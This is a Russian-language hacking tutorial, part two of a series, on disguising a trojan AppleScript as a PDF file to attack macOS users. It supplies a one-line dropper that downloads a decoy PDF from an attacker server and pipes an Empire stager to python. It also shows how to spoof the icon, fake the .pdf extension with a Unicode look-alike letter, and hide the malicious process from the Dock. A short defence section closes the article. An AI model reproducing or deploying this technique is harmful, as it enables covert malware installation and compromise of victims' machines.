18 апреля, 2024

Как сделать фальшивый PDF-файл с трояном на AppleScript.Часть 2. Маскируем скрипт

Содержание:

Создав macOS-стейджера и разместив на своем сервере «слушателя» Empire, хакер может создать вредоносный AppleScript, а затем замаскировать его под обычный PDF-файл, используя несколько приемов работы с юникодом и иконками.

Для этой атаки необходим реальный PDF-файл. Файлы размером более 1 МБ будут слишком большими и заставят пользователя задуматься о причинах такого размера. Настоящий PDF-файл будет каждый раз скачиваться, когда жертва будет открывать AppleScript с трояном (поддельный PDF). Поэтому реальный PDF-файл должен быть только с одной страницей и достаточно маленьким по размеру, чтобы быстро скачиваться. Иначе жертва начнет задаваться вопросом, почему открытие PDF-файла в режиме предварительного просмотра занимает несколько секунд, когда он должен открываться мгновенно.

Во второй части мини-серии по созданию вредоносного PDF-файла для MacBooks мы покажем, как быстро создать PDF-файл, используя обложку учебного пособия CompTIA, найденного в AllITebooks, но в настоящей жизненной ситуации должно использоваться изображение более высокого качества.

Шаг 1. Скопируйте обложку для PDF

В вашем веб-браузере перейдите на сайт с PDF, который вы хотите копировать. В нашем примере это учебное пособие CompTIA с AllITebooks. На самом деле вам не нужно загружать сам PDF-файл, вам просто нужно сохранить картинку, которая появляется при предварительном просмотре, поэтому кликните на ней правой кнопкой мыши, выберите «Сохранить изображение как», затем сохраните его с именем cover.jpg в папку files/.

Шаг 2. Установите GIMP и откройте картинку

Чтобы что-то сделать с картинкой обложки, нам понадобится GIMP — популярное приложение для обработки изображений, которое абсолютно бесплатно. Чтобы установить его, используйте команду apt-get:

apt-get install gimp

После установки откройте в GIMP файл cover.jpg с помощью этой команды:

gimp cover.jpg

Шаг 3. Экспортируйте картинку обложки в PDF-формат

Затем экспортируйте картинку в папку files/, перейдя в меню «Файл», затем «Экспортировать как». Измените имя файла на real.pdf, и выберите тип файла «Portable Document Format (* .pdf)».

Шаг 4. Измените размер холста

Значки Apple должны быть абсолютно симметричными квадратами, а cover.jpg — прямоугольная картинка. Чтобы исправить это, перейдите к кнопке «Изображение» в GIMP, а затем отредактируйте «Размер холста».

Измените ширину так, чтобы она соответствовала высоте и кликните на «Изменить размер», чтобы сохранить изменения. На новом холсте будет отображаться много прозрачного пространства с правой стороны изображения. Чтобы центрировать изображение, используйте инструмент «Выровнять», который можно найти в меню «Инструменты», затем —«Инструменты преобразования».

Читать также:  Основы Linux. Часть 24 (Философия Linux)

Кликните левой кнопкой мыши один раз на картинку, чтобы ее выбрать, а затем кликните по кнопке «Выровнять по центру». Обратите внимание, что теперь прозрачное пространство находится по обеим сторонам картинки обложки, как показано на скриншоте ниже.

Шаг 5. Измените размер картинки

Измените размер изображения, перейдя в меню «Изображение», затем в «Масштабировать изображение», и измените ширину и высоту до 256 пикселей.

Шаг 6. Экспортируйте картинку обложки в PNG-формат

Опять экспортируйте картинку в папку files/, перейдя в меню «Файл», затем «Экспорт как». Измените имя файла на cover.png, а тип файла — на «PNG-изображение (*.png)».

Шаг 7. Конвертируйте в ICNS-формат

Последний шаг для картинок — преобразовать cover.png в формат файла значка ICNS от Apple. Это можно сделать, загрузив cover.png на сервис cloudconvert и кликнув на кнопку «Start Conversion».

Когда конвертация закончится, скачайте и сохраните .icns-файл в папку files/. Теперь в этой папке уже должно лежать четыре файла (вы можете это проверить с помощью команды ls).

`/ tokyoneon ~/files
    > ls
cover.icns  cover.jpg   cover.png   real.pdf

Cover.jpg и cover.png использовались в качестве шаблонов и больше нам не нужны. Real.pdf — это небольшой PDF-файл, который как раз и будет скачиваться всякий раз, когда цель откроет AppleScript (поддельный PDF). Cover.icns — это файл значков Apple, который будет использоваться на более позднем этапе.

Вот и все, что касалось использования Kali Linux для этой атаки. Чтобы создать вредоносный AppleScript (поддельный PDF), мы будем использовать редактор Script Editor в macOS High Sierra.

Шаг 8. Создание AppleScript

На самом деле троянский AppleScript можно написать и с помощью Kali, но сложность этой задачи выходит за рамки этой статьи. Поэтому для упрощения процесса мы будем использовать macOS с AppleScript версии 2.7 и Script Editor версии 2.10. Если вы хотите узнать, как все-таки это сделать на Kali Linux, то пишите в комментарии, и мы подумаем, что можно с этим сделать.

Для начала скопируйте на рабочий стол macOS настоящий PDF-файл, который будет потом клонирован. Это даст возможность видеть изменения, происходящие с фейковым PDF-файлом.

Теперь найдите и откройте встроенный Script Editor от Apple из Spotlight, Launchpad или из папки «Утилиты» в «Приложениях», затем скопируйте приведенный ниже скрипт в окно редактора. Это однострочный AppleScript, который будет выполняться на MacBook’е жертвы, когда она кликнет по поддельному PDF-файлу.

do shell script «s = ATTACKER-IP-ADDRESS: PORT; curl -s $ s / real.pdf | open -f -a Preview.app & curl -s $ s / script | python -»
  • Начало скрипта (do shell script) — это AppleScript, который инструктирует MacBook выполнить последующий код.
  • Сервер хакера устанавливается как переменная (s=ATTACKER-IP-ADDRESS:PORT) и его значение нужно изменить на локальный IP-адрес хакера. Например, s=192.16.0.14:8080.
  • Настоящий PDF-файл скачивается (curl -s $s/real.pdf) с сервера хакера, затем передается через туннель (|), а потом открывается (open -f -a Preview.app) с помощью приложения для предварительного просмотра macOS.
  • Наконец, Empire-стейджер, сохраненный как «script» на сервере атакующего, скачивается (& curl -s $s/script | python -) и выполняется с помощью Python на MacBook’е жертвы.
Читать также:  Учимся поднимать собственный VPN на сервере

Чтобы сохранить скрипт, кликните на меню «Файл», затем «Экспорт».

Экспортируйте его на рабочий стол и назовите файл fake. Измените формат файла на «Приложение» (Application), и снимите флажок c «Показывать экран запуска».

Вообще говоря, поддельный PDF ведет себя так, как и предполагалось. Но если посмотреть на эти два файла, расположенные рядом друг с другом бок о бок, то видно, что еще нужно поработать над тем, чтобы он выглядел как настоящий PDF-файл.

Шаг 9. Измените иконку

Как видно на GIF-ке выше, для файла real.pdf macOS для генерации иконки использует первую страницу PDF-файла. Это поведение можно, конечно, легко сэмулировать с помощью ранее созданного .icns-файла. Чтобы изменить значок, переместите файл cover.icns из системы Kali в MacBook, кликните правой кнопкой мыши на фейковом файле и выберите «Получить информацию».

Для изменения значка перетащите файл cover.icns в окно Информация.

Теперь AppleScript больше похож на настоящий PDF-файл. Немного терпения, помощь GIMP и мы легко доработаем сгиб бумаги в правом верхнем углу, затенение вокруг значка и пружинку. Детали дальнейшей обработки картинки обложки немного утомительны, поэтому мы идем дальше, но идею вы поняли.

Шаг 10. Скройте расширение файла с помощью Unicode

Большая проблема — это имя файла. В идеале желательно использовать AppleScript с расширением PDF-файла, как и планировалось. Но изменение расширения файла на .pdf заставит macOS отображать настоящее расширение файла AppleScript.

Как вы видите выше, macOS автоматически добавляет расширение .app. Один из способов добиться убедительного расширения файла — использовать Unicode — стандарт кодировки символов, который предоставляет каждому символу уникальный номер.

Юникодный символ «U + 1E0B» — это латинская маленькая буква D с точкой над ней и, с первого взгляда, выглядит точно так же, как обычный символ «d».

Читать также:  Как читать видео с YouTube вместо того, чтобы смотреть его

Если копировать этот символ со страницы в Википедии и вставить его в имя файла AppleScript, то это сделает расширение файла более убедительным.

С первого взгляда эту крохотную точку можно легко ошибочно принять за пылинку на мониторе. При более близком рассмотрении разница в латинском «d» более очевидна.

Это всего лишь один из многих доступных символов Юникода, которые можно использовать для спуфинговых и других атак.

Шаг 11. Скройте Python-скрипт из нижней панели

Еще одна проблема, которую мы нашли с использованием AppleScript’ов заключается в том, что нижняя панель (Dock) отображает новые элементы после того, как скрипт будет выполнен.

Один значок представляет собой превью реального PDF-файла, а другой значок — вредоносный Python-скрипт, который выполняется в фоновом режиме. Чтобы решить эту проблему, щелкните правой кнопкой мыши на файл fake.pdf, а затем «Показать содержимое пакета».

Перейдите в папку «Содержание» и откройте файл «Info.plist» в редакторе TextEdit. Добавьте следующий NSUIElement в файл Info.plist.

<key>NSUIElement</key>
<string>1</string>

Вот как это выглядит в TextEdit:

Теперь открытие фальшивого PDF-файла не приведет больше к созданию двух иконок на нижней док-панели в macOS.

Как защититься от AppleScript-атак

Если вы не хотите стать жертвой атаки при открытии вредоносных PDF-файлов на вашем MacBook или другом компьютере Mac, то есть несколько простых правил, выполнение которых поможет обнаружить такую атаку:

Не делайте двойных кликов по файлам. Всегда лучше явным образом выбирать, какую программу вы хотите использовать при открытии файлов. Кликните правой кнопкой мыши по нужному файлу и вручную выберите приложение из меню «Открыть с помощью».
Отображайте расширения файлов. Этот трюк Unicode был протестирован против High Sierra с настройками Finder’а, используемыми по умолчанию, где была отключена функция «Показывать расширения файлов». Чтобы включить этот параметр, перейдите в «Finder» в меню, затем «Preferences» и посмотрите вкладку «Дополнительно».

В серии по взлому MacOS еще больше материала. В следующих статьях мы будем рассматривать векторы для доставки файлов fake.pdf ничего не подозревающим пользователям MacOS, постэксплуатацию кейлоггеров, сброс паролей Keychain, создание скриншотов через веб-камеру и многие другие вещи. Наш эпический квест, разрушающий миф о том, что macOS более безопасна, чем Windows 10, еще не закончен.

Добавить комментарий